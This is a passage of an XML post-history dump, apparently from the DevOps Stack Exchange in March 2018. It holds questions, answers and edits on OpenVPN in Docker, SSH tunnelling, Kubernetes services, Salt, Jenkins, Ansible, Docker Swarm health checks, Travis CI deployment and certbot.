ovpn_initpki&#xD;&#xA;&#xD;&#xA; 1. Run the VPN service: start and detach the container (-d) and map a host port to the UDP container port where the openvpn server process is listening (1194). In this example the host port will be 1195&#xD;&#xA;&#xD;&#xA;        docker run -v $OVPN_DATA:/etc/openvpn -d -p 1195:1194/udp --cap-add=NET_ADMIN kylemanna/openvpn&#xD;&#xA;&#xD;&#xA; 1. Generate client configuration (i.e., add a user to the VPN). If you omit the nopass option, the client key will be encrypted with a passphrase. &#xD;&#xA;&#xD;&#xA;        docker run -v $OVPN_DATA:/etc/openvpn --rm -it kylemanna/openvpn easyrsa build-client-full vince nopass&#xD;&#xA;&#xD;&#xA;  The client key will be in `${OVPN_DATA}/pki/private` and the certificate in `${OVPN_DATA}/pki/issued`&#xD;&#xA;&#xD;&#xA; 1. Retrieve the client configuration to a local file:&#xD;&#xA;&#xD;&#xA;        docker run -v $OVPN_DATA:/etc/openvpn --rm kylemanna/openvpn ovpn_getclient vince &gt; vince.ovpn&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you need to add more users, just repeat the last two steps to create a user configuration on the server and retrieve the ovpn file.&#xD;&#xA;&#xD;&#xA;Full reference: https://thealarmclocksixam.com/2017/03/07/setup-your-vpn-in-docker-with-openvpn-in-5-minutes/&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/kylemanna/openvpn/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11372" PostHistoryTypeId="2" PostId="3637" RevisionGUID="13ed7aba-b0b1-479a-a69f-9c58a7b69e8d" CreationDate="2018-03-14T13:07:25.770" UserId="13" Text="&gt; I just want to &quot;get inside&quot; the internal network I have shared with my VPS [...] using SSH/RDP/etc. with a single connection instead of having 10 profiles in PuTTY for each server.&#xD;&#xA;&#xD;&#xA;For what it worth you can achieve that pretty simply using your ssh client as a socks server and configuring your clients (RDP/Browse/Ssh client) to use a localhost:&lt;port&gt; as a socks proxy and then access your inner network. A SSH tunnel is a tunnel as secure as a VPN tunnel; main difference with a VPN is there's no routing involved.&#xD;&#xA;&#xD;&#xA;&gt; through a VPN for added security and commodity&#xD;&#xA;&#xD;&#xA;Forget this idea a VPN is for security, you won't add security to your network with a VPN, that's no more security than a SSH tunnel and usually even less when not properly configured. The commodity point is absolutely valid and a good reason to go this way :)&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So clearly you can, I wonder why  you want the VPN server to run within docker as this add a routing complexity you should avoid if you're not comfortable with the overall routing involved before. &#xD;&#xA;&#xD;&#xA;Anyway the generic scheme for a request would be:&#xD;&#xA;&#xD;&#xA;    client stations --&gt; client station routing table --&gt; client VPN interface --&gt; VPN host server --&gt; target network&#xD;&#xA;&#xD;&#xA;The problem involved is understanding a VPN is made of a tunel **AND** routing configuration, this needs some configuration to avoid breaking your connection to the VPN server once the tunnel is established (usual caveat is the vpn client setting up a new default route and thus breaking your workstation ability to talk with the VPN server through local gateway). &#xD;&#xA;&#xD;&#xA;The VPN client job is to establish the tunnel and then configure your client station routing table to route packets for the destination network through the tunnel interface.&#xD;&#xA;&#xD;&#xA;[Vincenzo's answer][1] to your question give the methodology to start an openVPN server container so I'll let you start from there but I highly encourage you to read more about the subject to avoid a false sense of security.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/3635/13" ContentLicense="CC BY-SA 3.0" />
  <row Id="11373" PostHistoryTypeId="50" PostId="2891" RevisionGUID="c8bf89a0-9113-45ab-8bd9-d3a81989f489" CreationDate="2018-03-14T14:38:12.983" UserId="-1" />
  <row Id="11375" PostHistoryTypeId="50" PostId="1654" RevisionGUID="07aa60cd-bf91-473c-bfbb-ccccc2a2a94b" CreationDate="2018-03-15T00:38:14.390" UserId="-1" />
  <row Id="11377" PostHistoryTypeId="2" PostId="3638" RevisionGUID="25362e21-e051-4989-b7e4-3ef7450fd8b9" CreationDate="2018-03-15T07:24:39.117" UserId="6743" Text="I have simple deployment which has 3 replicas. I want this deployment to be load balanced between this 3 replicas, but available under IP of my `master` and on some specified port.&#xD;&#xA;&#xD;&#xA;This cluster was created by using `kubeadm`, I have one master and 20 worker nodes.&#xD;&#xA;&#xD;&#xA;- I tried to expose the service as `LoadBalancer`, but this only works when you have cloud load balancer configured. I don't have such thing and `EXTERNAL-IP` is always `&lt;pending&gt;`.&#xD;&#xA;- I tried to expose the service as `NodePort`, but this only works on nodes where `pods` were created. So for example after rollout, when `pods` will be created on different nodes, it will stop working. Also I guess this is not load balanced properly.&#xD;&#xA;- I tried to create `ingress` to make it work, but unsuccessfully.&#xD;&#xA;&#xD;&#xA;        apiVersion: extensions/v1beta1&#xD;&#xA;        kind: Ingress&#xD;&#xA;        metadata:&#xD;&#xA;          name: registry-ingress&#xD;&#xA;          namespace: registry&#xD;&#xA;          annotations:&#xD;&#xA;            nginx.ingress.kubernetes.io/rewrite-target: /&#xD;&#xA;        spec:&#xD;&#xA;          rules:&#xD;&#xA;          - http:&#xD;&#xA;            paths:&#xD;&#xA;              - path: /registry&#xD;&#xA;                backend:&#xD;&#xA;                  serviceName: registry-service&#xD;&#xA;                  servicePort: 5000&#xD;&#xA;&#xD;&#xA;What is the proper approach here?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;If the above is possible then second question: is it possible to expose it on 2 masters if I will want to create 2nd one?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11378" PostHistoryTypeId="1" PostId="3638" RevisionGUID="25362e21-e051-4989-b7e4-3ef7450fd8b9" CreationDate="2018-03-15T07:24:39.117" UserId="6743" Text="Expose kubernetes deployment on master's IP" ContentLicense="CC BY-SA 3.0" />
  <row Id="11379" PostHistoryTypeId="3" PostId="3638" RevisionGUID="25362e21-e051-4989-b7e4-3ef7450fd8b9" CreationDate="2018-03-15T07:24:39.117" UserId="6743" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11380" PostHistoryTypeId="2" PostId="3639" RevisionGUID="2268b94d-02c2-4f8b-ba28-6e9a854b52ca" CreationDate="2018-03-15T08:36:35.030" UserId="6929" Text="is it possible to have a capture group with include_pat when copying files ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I would like to do something like that:&#xD;&#xA;&#xD;&#xA;    copy_template:&#xD;&#xA;        file.recurse:&#xD;&#xA;        - name: '{{ service_path }}\$1'&#xD;&#xA;        - template: jinja&#xD;&#xA;        - include_pat: E@^(.*)\.template$&#xD;&#xA;        - source: {{ pillar['locations']['systemtoolsfolder'] }}\" ContentLicense="CC BY-SA 3.0" />
  <row Id="11381" PostHistoryTypeId="1" PostId="3639" RevisionGUID="2268b94d-02c2-4f8b-ba28-6e9a854b52ca" CreationDate="2018-03-15T08:36:35.030" UserId="6929" Text="salt-stack: capture group for regex include_pat" ContentLicense="CC BY-SA 3.0" />
  <row Id="11382" PostHistoryTypeId="3" PostId="3639" RevisionGUID="2268b94d-02c2-4f8b-ba28-6e9a854b52ca" CreationDate="2018-03-15T08:36:35.030" UserId="6929" Text="&lt;salt&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11383" PostHistoryTypeId="2" PostId="3640" RevisionGUID="e38cfcb0-3d19-46c3-8ba3-9aed9a2e70f8" CreationDate="2018-03-15T09:14:03.597" UserId="5776" Text="    def repository = 'git@somerepo' &#xD;&#xA;    import hudson.tasks.Shell&#xD;&#xA;    job = Jenkins.instance.createProject(FreeStyleProject, 'TestJob')&#xD;&#xA;    job.setDescription(&quot;Some description&quot;) &#xD;&#xA;    job.displayName = 'SomeTestJob(TESTING groovy)' &#xD;&#xA;    job.scm = new hudson.plugins.git.GitSCM(repository) &#xD;&#xA;    job.scm.branches = [new BranchSpec('*/master')]&#xD;&#xA;    job.save()&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;Thanks a lot Michael Durrant for giving that link !" ContentLicense="CC BY-SA 3.0" />
  <row Id="11389" PostHistoryTypeId="5" PostId="3625" RevisionGUID="951a2615-c66b-4f54-a71a-43ae71f2fb79" CreationDate="2018-03-15T10:07:33.800" UserId="2729" Comment="added 172 characters in body" Text="Amazon GuardDuty is a managed threat detection service that continuously monitors for malicious or unauthorized behavior to help you protect your AWS accounts and workloads" ContentLicense="CC BY-SA 3.0" />
  <row Id="11390" PostHistoryTypeId="24" PostId="3625" RevisionGUID="951a2615-c66b-4f54-a71a-43ae71f2fb79" CreationDate="2018-03-15T10:07:33.800" Comment="Proposed by 2729 approved by 40, 13 edit id of 642" ContentLicense="CC BY-SA 3.0" />
  <row Id="11391" PostHistoryTypeId="2" PostId="3641" RevisionGUID="6a580843-4b39-4dd1-a523-f78485fbeecf" CreationDate="2018-03-15T10:53:50.183" UserId="6935" Text="I'd like to set up a continuous delivery workflow for our new Drupal site. When someone pushes to our Git repo (typically) master branch, a build job on our CI server is triggered. This job will check out the source code, import the database from production, and build the Drupal project running in a Docker container.&#xD;&#xA;&#xD;&#xA;I'm now looking to create the actual script that the CI job will run. I come from a Jenkins background, and there one would create a Jenkinsfile for this. We're probably not going to be using Jenkins for this project, so I'm looking for a tool that can be run regardless of the build server.&#xD;&#xA;&#xD;&#xA;The most straight forward way would probably be to script this build using bash or python or something. I'm quite new to both Drupal and PHP, so I'm wondering if there are any tools out there similar to Jenkinsfile I can make use of, which I can run on Gitlab or whatever other CI server we go for?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11392" PostHistoryTypeId="1" PostId="3641" RevisionGUID="6a580843-4b39-4dd1-a523-f78485fbeecf" CreationDate="2018-03-15T10:53:50.183" UserId="6935" Text="Continuous delivery workflow: Build script for PHP Composer (Drupal) on Docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="11393" PostHistoryTypeId="3" PostId="3641" RevisionGUID="6a580843-4b39-4dd1-a523-f78485fbeecf" CreationDate="2018-03-15T10:53:50.183" UserId="6935" Text="&lt;docker&gt;&lt;continuous-deployment&gt;&lt;php&gt;&lt;drupal&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11396" PostHistoryTypeId="2" PostId="3642" RevisionGUID="df7f786d-5711-40df-a0a2-c5c73e8b9712" CreationDate="2018-03-15T14:12:35.963" UserId="6591" Text="  I figured out the issue. The &quot;Question:&quot; parameter had to be omitted:  &#xD;&#xA;    ---  &#xD;&#xA;    - hosts: localhost  &#xD;&#xA;      connection: local  &#xD;&#xA;      gather_facts: false  &#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Expect Attempt&#xD;&#xA;          expect:&#xD;&#xA;            echo: yes&#xD;&#xA;            command: telnet 10.233.82.7 2033&#xD;&#xA;            responses:&#xD;&#xA;              Connected to port 33. :  &quot;echo&quot;&#xD;&#xA;              login: &quot;admin&quot;&#xD;&#xA;              Password: &quot;password&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11397" PostHistoryTypeId="5" PostId="3642" RevisionGUID="d98c9832-41e0-448f-975f-fe1e797b6599" CreationDate="2018-03-15T14:20:24.493" UserId="6591" Comment="added 2 characters in body" Text="  I figured out the issue. The &quot;Question:&quot; parameter needs to be omitted:  &#xD;&#xA;    ---  &#xD;&#xA;    - hosts: localhost  &#xD;&#xA;      connection: local  &#xD;&#xA;      gather_facts: false  &#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Expect Attempt&#xD;&#xA;          expect:&#xD;&#xA;            echo: yes&#xD;&#xA;            command: telnet 10.233.82.7 2033&#xD;&#xA;            responses:&#xD;&#xA;              Connected to port 33. :  &quot;echo&quot;&#xD;&#xA;              login: &quot;admin&quot;&#xD;&#xA;              Password: &quot;password&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11398" PostHistoryTypeId="2" PostId="3643" RevisionGUID="07c13ade-9cdf-4007-acfe-4ebe05c376fb" CreationDate="2018-03-15T15:55:04.680" UserId="6938" Text="Docker Swarm provides a nice way to configure container health checks in the Docker file or a stack compose file.  Health status of a container can be checked using &quot;docker inspect &lt;container&gt;&quot; or just &quot;docker ps&quot; on the hosting machine.&#xD;&#xA;&#xD;&#xA;However, I would like to know the status of a Docker Service, specifically in the docker service ls or ps commands. How can I check that health status of a service (i.e. one or more replicas of a container) in a Docker Swarm deployment?  &#xD;&#xA;&#xD;&#xA;&quot;docker service ps &lt;service&gt;&quot; shows that status of the deployed containers in a service but does not seem to show the health status of either each replica or the service overall (however that is meant to be interpreted).&#xD;&#xA;&#xD;&#xA;Thanks in advance for any suggestions.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11399" PostHistoryTypeId="1" PostId="3643" RevisionGUID="07c13ade-9cdf-4007-acfe-4ebe05c376fb" CreationDate="2018-03-15T15:55:04.680" UserId="6938" Text="Docker Swarm Service Health Check?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11400" PostHistoryTypeId="3" PostId="3643" RevisionGUID="07c13ade-9cdf-4007-acfe-4ebe05c376fb" CreationDate="2018-03-15T15:55:04.680" UserId="6938" Text="&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11402" PostHistoryTypeId="2" PostId="3644" RevisionGUID="34e9bc9f-0962-4927-8e43-d170626efc0a" CreationDate="2018-03-15T16:15:12.620" UserId="2845" Text="It's not quite clear what you are trying to do here. Is service_path a simple variable, or a list? A capture group is a [type of backreference](https://www.regular-expressions.info/refcapture.html). Saltstack, being python based, [uses the re.match object](https://docs.python.org/2/library/re.html) to do regular expression matching, which [appears to support backreferences](https://stackoverflow.com/questions/15163092/python-regex-backreference-a-matching-regex-group).&#xD;&#xA;&#xD;&#xA;It appears you simply are not implementing it correctly. You will be unable to (directly) pass the value of `$1` in the `- name` field down to `- include_pat` -  at least not without using some [jinja](http://jinja.pocoo.org/) and python kung-fu. If this is going to be part of a jinja loop however, your are going to have an error because you will have an asset with a conflicting ID error - that is; when the Jinja was rendered for an list of `service_paths`, you would have multiple `copy_template` IDs [which is not allowed](https://github.com/saltstack/salt/issues/22607) - they must be unique. For that, inside of a [jinja for loop](http://jinja.pocoo.org/docs/2.10/templates/#for) You would define the state ID as:&#xD;&#xA;&#xD;&#xA;    {% for file in service_path %}&#xD;&#xA;    copy_template_{{file}}:&#xD;&#xA;        file.recurse:&#xD;&#xA;        - name: '{{ service_path }}\$1'&#xD;&#xA;        - template: jinja&#xD;&#xA;        - include_pat: E@^(.*)\.template$&#xD;&#xA;        - source: {{ pillar['locations']['systemtoolsfolder'] }}\&#xD;&#xA;    {% endfor %}&#xD;&#xA;&#xD;&#xA;If `service_path` is not a list however, a simple backreference would suffice, but you would actually have to use it in the `include_pat` - but you don't have a `\1` in your regexp which is required (see this [tutorial on backrefrences](https://www.regular-expressions.info/backref.html)).&#xD;&#xA;&#xD;&#xA;So what, exactly are you trying to do? Perhaps providing a sample pillar or the python code that defines `service_path` would be prudent." ContentLicense="CC BY-SA 3.0" />
  <row Id="11403" PostHistoryTypeId="5" PostId="3643" RevisionGUID="e60adffa-faab-4fba-91f7-620cc0186da4" CreationDate="2018-03-15T16:42:16.910" UserId="6938" Comment="Added script to do what I hoped Docker Swarm would do more efficiently" Text="Docker Swarm provides a nice way to configure container health checks in the Docker file or a stack compose file.  Health status of a container can be checked using &quot;docker inspect &lt;container&gt;&quot; or just &quot;docker ps&quot; on the hosting machine.&#xD;&#xA;&#xD;&#xA;However, I would like to know the status of a Docker Service, specifically in the docker service ls or ps commands. How can I check that health status of a service (i.e. one or more replicas of a container) in a Docker Swarm deployment?  &#xD;&#xA;&#xD;&#xA;&quot;docker service ps &lt;service&gt;&quot; shows that status of the deployed containers in a service but does not seem to show the health status of either each replica or the service overall (however that is meant to be interpreted).&#xD;&#xA;&#xD;&#xA;Thanks in advance for any suggestions.&#xD;&#xA;&#xD;&#xA;PS It's clunky and slow (since it has to execute a command for each node on which a service container is deployed) but this is a script that sort of does what I hoped would be able to see with &quot;docker service ps&quot;&#xD;&#xA;&#xD;&#xA;    #! /bin/sh&#xD;&#xA;    hosts=`docker service ps -f desired-state=running --format &quot;{{ .Node }} &quot; $1`&#xD;&#xA;    echo &quot;${1}:&quot;&#xD;&#xA;    for host in ${hosts}&#xD;&#xA;    do&#xD;&#xA;    	/bin/echo -n &quot;${host} - &quot;&#xD;&#xA;    	docker-machine ssh ${host} &quot;sudo docker ps -f name=\&quot;${1}\&quot; --format \&quot;{{ .Status }} \&quot;&quot;&#xD;&#xA;    done&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11404" PostHistoryTypeId="5" PostId="3643" RevisionGUID="ea6ca1bd-8503-4f8c-9b13-854885a67455" CreationDate="2018-03-15T17:11:38.673" UserId="47" Comment="improved readability" Text="Docker Swarm provides a nice way to configure container health checks in the Docker file or a stack compose file.  Health status of a container can be checked using `docker inspect &lt;container&gt;` or just `docker ps` on the hosting machine.&#xD;&#xA;&#xD;&#xA;However, I would like to know the status of a Docker Service, specifically in the docker service ls or ps commands. How can I check that health status of a service (i.e. one or more replicas of a container) in a Docker Swarm deployment?  &#xD;&#xA;&#xD;&#xA;`docker service ps &lt;service&gt;` shows that status of the deployed containers in a service but does not seem to show the health status of either each replica or the service overall (however that is meant to be interpreted).&#xD;&#xA;&#xD;&#xA;Thanks in advance for any suggestions.&#xD;&#xA;&#xD;&#xA;PS It's clunky and slow (since it has to execute a command for each node on which a service container is deployed) but this is a script that sort of does what I hoped would be able to see with `docker service ps`&#xD;&#xA;&#xD;&#xA;    #! /bin/sh&#xD;&#xA;    hosts=`docker service ps -f desired-state=running --format &quot;{{ .Node }} &quot; $1`&#xD;&#xA;    echo &quot;${1}:&quot;&#xD;&#xA;    for host in ${hosts}&#xD;&#xA;    do&#xD;&#xA;    	/bin/echo -n &quot;${host} - &quot;&#xD;&#xA;    	docker-machine ssh ${host} &quot;sudo docker ps -f name=\&quot;${1}\&quot; --format \&quot;{{ .Status }} \&quot;&quot;&#xD;&#xA;    done&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11405" PostHistoryTypeId="2" PostId="3645" RevisionGUID="58743e6d-cb95-4f6f-927d-10e9b52ac48f" CreationDate="2018-03-15T17:22:35.737" UserId="210" Text="One could `git svn clone` a subversion repository and use submodules." ContentLicense="CC BY-SA 3.0" />
  <row Id="11406" PostHistoryTypeId="2" PostId="3646" RevisionGUID="bf0ec876-4ec4-4663-b190-3214dbc7ecb8" CreationDate="2018-03-15T17:53:14.600" UserId="3899" Text="Is it possible to get changes of the parameterized pipeline on the fly after making changes there? &#xD;&#xA;&#xD;&#xA;For example I have a pipeline code: &#xD;&#xA;&#xD;&#xA;    properties([&#xD;&#xA;            parameters([&#xD;&#xA;                    string(name: 'TARGET_HOST', defaultValue: 'test', description: 'Host on which artifact will be deployed'),&#xD;&#xA;                    string(name: 'ARTIFACT_ID', defaultValue: 'test', description: 'Name of artifact which will be doployed'),&#xD;&#xA;                    string(name: 'ARTIFACT_VERSION', defaultValue: '1', description: 'Version of artifact which will be deployed')&#xD;&#xA;            ])&#xD;&#xA;    ])&#xD;&#xA;&#xD;&#xA;And I decided to change defaultValue for TARGET_HOST parameter from test to 1. &#xD;&#xA;&#xD;&#xA;After such changes, I'll need to run job in order it apply changes and only running it for the second time after making changes, I'll obtain applied changes. &#xD;&#xA;&#xD;&#xA;Is there a way to make job pick up changes during first run after making them? &#xD;&#xA;&#xD;&#xA;So far I found a way to do it with Input structure: &#xD;&#xA;&#xD;&#xA;    def values = input id: 'Run-test-suites',&#xD;&#xA;            message: 'Workflow Configuration',&#xD;&#xA;            ok: 'Run',&#xD;&#xA;            parameters: [&#xD;&#xA;                    [&#xD;&#xA;                            $class      : 'BooleanParameterDefinition',&#xD;&#xA;                            defaultValue: true,&#xD;&#xA;                            name        : 'checkboxVal',&#xD;&#xA;                            description : 'Testing of checkbox param'&#xD;&#xA;                    ],&#xD;&#xA;                    [&#xD;&#xA;                            $class      : 'StringParameterDefinition',&#xD;&#xA;                            defaultValue: &quot;test&quot;,&#xD;&#xA;                            name        : 'stringVal',&#xD;&#xA;                            description : 'Testing of string param'&#xD;&#xA;                    ],&#xD;&#xA;                    [&#xD;&#xA;                            $class     : 'ChoiceParameterDefinition', choices: '1\n2\n3',&#xD;&#xA;                            name       : 'choiceVal',&#xD;&#xA;                            description: 'Testing of choice parameter'&#xD;&#xA;                    ]&#xD;&#xA;            ]&#xD;&#xA;&#xD;&#xA;But I want to have something more flexible. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11407" PostHistoryTypeId="1" PostId="3646" RevisionGUID="bf0ec876-4ec4-4663-b190-3214dbc7ecb8" CreationDate="2018-03-15T17:53:14.600" UserId="3899" Text="Get changes of the parameterized pipeline on the fly in Jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="11408" PostHistoryTypeId="3" PostId="3646" RevisionGUID="bf0ec876-4ec4-4663-b190-3214dbc7ecb8" CreationDate="2018-03-15T17:53:14.600" UserId="3899" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11409" PostHistoryTypeId="2" PostId="3647" RevisionGUID="1a1aaba6-4a76-4fdc-8181-e9081179b5a9" CreationDate="2018-03-15T18:03:43.927" UserId="47" Text="Each CI/CD system is different when it comes to performing the job(s) that the execution pipeline consists of. In most (if not all) cases the details are part of a configuration which is specific to the particular CI/CD system used. As you mentioned Jenkins uses a Jenkinsfile, GitLabCI uses `.gitlab-ci.yml`, others use &quot;live&quot;/GUI-based configurations, etc.&#xD;&#xA;&#xD;&#xA;So I don't think you can find a common solution *directly* pluggable in an arbitrary CI/CD system. But you can get close to that: fundamentally each of these configurations are simply adaptation layers between the CI/CD system and the automated task(s) to be performed. &#xD;&#xA;&#xD;&#xA;So if you can create a (set of) standalone script(s) to perform your automated step(s) in as portable way you need as possible you *should* be able to integrate with in almost any CI/CD system without too much trouble: any decent CI/CD system should support a custom script invocation mode to cover for whatever special case that doesn't properly fit into its pre-defined cases. &#xD;&#xA;&#xD;&#xA;Using python/bash is generally quite portable, up to you to decide if that indeed covers all possible execution environments you'd be willing to consider.&#xD;&#xA;&#xD;&#xA;I'd recommend structuring such script itself as a wrapper around smaller scripts implementing its logical/functional steps - some CI systems may require individual control of the steps or may offer advantages if such control is provided. In your case I'd have separate scripts for:&#xD;&#xA;&#xD;&#xA;- checking out the source code&#xD;&#xA;- importing the database from production&#xD;&#xA;- building the Drupal project running in a Docker container (maybe this can/should be further split if it makes sense?) &#xD;&#xA;&#xD;&#xA;And I'd add a wrapper script tying them together for one-shot end-to-end execution, either by CI/CD systems not interested in the individual steps or even for manual invocation.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11410" PostHistoryTypeId="2" PostId="3648" RevisionGUID="cf10027c-daba-4d9d-860f-5b65973b1e31" CreationDate="2018-03-15T18:11:52.353" UserId="5879" Text="I currently have continuous deployment set up with a Travis CI job. All pushes are sent to the staging server and merges to the master to the production server. The problem is that the deployment to the production server is done before the merge is accepted. The continuous integration tests have to all pass, but the deployment occurs before manual code review is done.&#xD;&#xA;&#xD;&#xA;The question is, what is a lightweight method to ensure that a deployment to the production server only takes place after the merge request has been accepted?&#xD;&#xA;&#xD;&#xA;As a reference, the following code is used for deployment:&#xD;&#xA;&#xD;&#xA;    if [ $TRAVIS_BRANCH != 'master' ] ; then&#xD;&#xA;        echo &quot;Pushing to staging&quot;&#xD;&#xA;        git remote add deploy &quot;deploy@staging.veleda.io:/home/deploy/veleda/&quot;&#xD;&#xA;    else&#xD;&#xA;        echo &quot;Pushing to production&quot;&#xD;&#xA;        git remote add deploy &quot;deploy@veleda.io:/home/deploy/veleda/&quot;&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    # Force push from the current repo's branch to the respective one on the remote&#xD;&#xA;    # All previous history on the remote branch will be lost, since we are&#xD;&#xA;    # overwriting it. We redirect any output to /dev/null to hide any sensitive&#xD;&#xA;    # credential data that might otherwise be exposed.&#xD;&#xA;    git push --force --quiet deploy $TRAVIS_BRANCH &gt; /dev/null 2&gt;&amp;1&#xD;&#xA;    &#xD;&#xA;    ssh -t deploy@staging.veleda.io &quot;cd veleda \&#xD;&#xA;                                     &amp;&amp; git checkout -f $TRAVIS_BRANCH \&#xD;&#xA;                                     &amp;&amp; ./start.sh&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11411" PostHistoryTypeId="1" PostId="3648" RevisionGUID="cf10027c-daba-4d9d-860f-5b65973b1e31" CreationDate="2018-03-15T18:11:52.353" UserId="5879" Text="Deploy to server after merge to master branch" ContentLicense="CC BY-SA 3.0" />
  <row Id="11412" PostHistoryTypeId="3" PostId="3648" RevisionGUID="cf10027c-daba-4d9d-860f-5b65973b1e31" CreationDate="2018-03-15T18:11:52.353" UserId="5879" Text="&lt;continuous-deployment&gt;&lt;github&gt;&lt;travis-ci&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11416" PostHistoryTypeId="2" PostId="3650" RevisionGUID="79015a59-07ca-4b7a-b6e0-f041f64f1833" CreationDate="2018-03-16T10:43:33.270" UserId="6743" Text="I was wrong about the `NodePort` approach. It was firewall blocking the connection to my master on ports `30000-32767`.&#xD;&#xA;&#xD;&#xA;After unblocking this ports everything was working fine with `NodePort` service." ContentLicense="CC BY-SA 3.0" />
  <row Id="11417" PostHistoryTypeId="2" PostId="3651" RevisionGUID="1328eaeb-0461-4d97-9e0f-fbf6d2fc214b" CreationDate="2018-03-16T14:08:08.003" UserId="210" Text="Follow-up to https://devops.stackexchange.com/q/3609/210&#xD;&#xA;&#xD;&#xA;With https://github.com/jetstack/cert-manager it would be possible to automatically renew certificates.&#xD;&#xA;&#xD;&#xA;At the moment my domain is registered somewhere else than google. Is it required to move the domain to Google DNS in order to use certbot in kubernetes on Google Cloud platform?&#xD;&#xA;&#xD;&#xA;**Attempt to solve the issue**&#xD;&#xA;&#xD;&#xA; - A Google Cloud Platform project has been created&#xD;&#xA; - ...&#xD;&#xA; - ...&#xD;&#xA; - ...&#xD;&#xA; - ..." ContentLicense="CC BY-SA 3.0" />
  <row Id="11418" PostHistoryTypeId="1" PostId="3651" RevisionGUID="1328eaeb-0461-4d97-9e0f-fbf6d2fc214b" CreationDate="2018-03-16T14:08:08.003" UserId="210" Text="Is it required to move a domain to Google DNS in order to use certbot in kubernetes on Google Cloud platform?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11419" PostHistoryTypeId="3" PostId="3651" RevisionGUID="1328eaeb-0461-4d97-9e0f-fbf6d2fc214b" CreationDate="2018-03-16T14:08:08.003" UserId="210" Text="&lt;kubernetes&gt;&lt;google-cloud-platform&gt;&lt;certbot&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11420" PostHistoryTypeId="5" PostId="3651" RevisionGUID="6bf02051-f7a6-47f7-95f8-62beabb462df" CreationDate="2018-03-16T14:38:09.030" UserId="210" Comment="added 281 characters in body" Text="Follow-up to https://devops.stackexchange.com/q/3609/210&#xD;&#xA;&#xD;&#xA;With https://github.com/jetstack/cert-manager it would be possible to automatically renew certificates.&#xD;&#xA;&#xD;&#xA;At the moment my domain is registered somewhere else than google. Is it required to move the domain to Google DNS in order to use certbot in kubernetes on Google Cloud platform?&#xD;&#xA;&#xD;&#xA;At the moment when I add a new subdomain, e.g. abc.somedomain.com I will add a CNAME to my DNS provider. At the moment I have two subdomains and I would like to switch to kubernetes. At the moment the IPs refer to some Virtual Machine instances that reside on another provider.&#xD;&#xA;&#xD;&#xA;**Current situation**&#xD;&#xA;&#xD;&#xA;... &lt;currently working on&gt;&#xD;&#xA;&#xD;&#xA;**Preferred situation**&#xD;&#xA;&#xD;&#xA;... &lt;currently working on&gt;&#xD;&#xA;&#xD;&#xA;**Problems**&#xD;&#xA;&#xD;&#xA;... &lt;currently working on&gt;&#xD;&#xA;&#xD;&#xA;**Attempt to solve the issue**&#xD;&#xA;&#xD;&#xA; - A Google Cloud Platform project has been created&#xD;&#xA; - ...&#xD;&#xA; - ...&#xD;&#xA; - ...&#xD;&#xA; - ..." ContentLicense="CC BY-SA 3.0" />
  <row Id="11421" PostHistoryTypeId="5" PostId="3651" RevisionGUID="a71bef4c-e0e4-439a-b57d-dbe01fa6e2e8" CreationDate="2018-03-16T14:47:26.787" UserId="210" Comment="added 660 characters in body" Text="Follow-up to https://devops.stackexchange.com/q/3609/210&#xD;&#xA;&#xD;&#xA;With https://github.com/jetstack/cert-manager it would be possible to automatically renew certificates.&#xD;&#xA;&#xD;&#xA;At the moment my domain is registered somewhere else than google. Is it required to move the domain to Google DNS in order to use certbot in kubernetes on Google Cloud platform?&#xD;&#xA;&#xD;&#xA;At the moment when I add a new subdomain, e.g. abc.somedomain.com I will add a CNAME to my DNS provider. At the moment I have two subdomains and I would like to switch to kubernetes. At the moment the IPs refer to some Virtual Machine instances that reside on another provider.&#xD;&#xA;&#xD;&#xA;**Current situation**&#xD;&#xA;&#xD;&#xA;What I understand of Certbot is that it is able to create certificates that are valid for three months. I certbot for almost a year right now and I am happy about it. When I create a new subdomain in my DNS provider I create a CNAME and run certbot and a new certificate is created. This works fine.&#xD;&#xA;&#xD;&#xA;**Preferred situation**&#xD;&#xA;&#xD;&#xA;Now I would like to phase out my VM and replace it with kubernetes. I was able to create a kubernetes cluster and expose the microservice to the internet using an ingress. One the IP was exposed, it is possible to access it. &#xD;&#xA;&#xD;&#xA;**Problems**&#xD;&#xA;&#xD;&#xA;The problem is that I now would like to get a secure Ingress, i.e. access the microservice via https rather than http, but I am struggling to understand how to configure it in k8s.&#xD;&#xA;&#xD;&#xA;**Attempt to solve the issue**&#xD;&#xA;&#xD;&#xA; - A Google Cloud Platform project has been 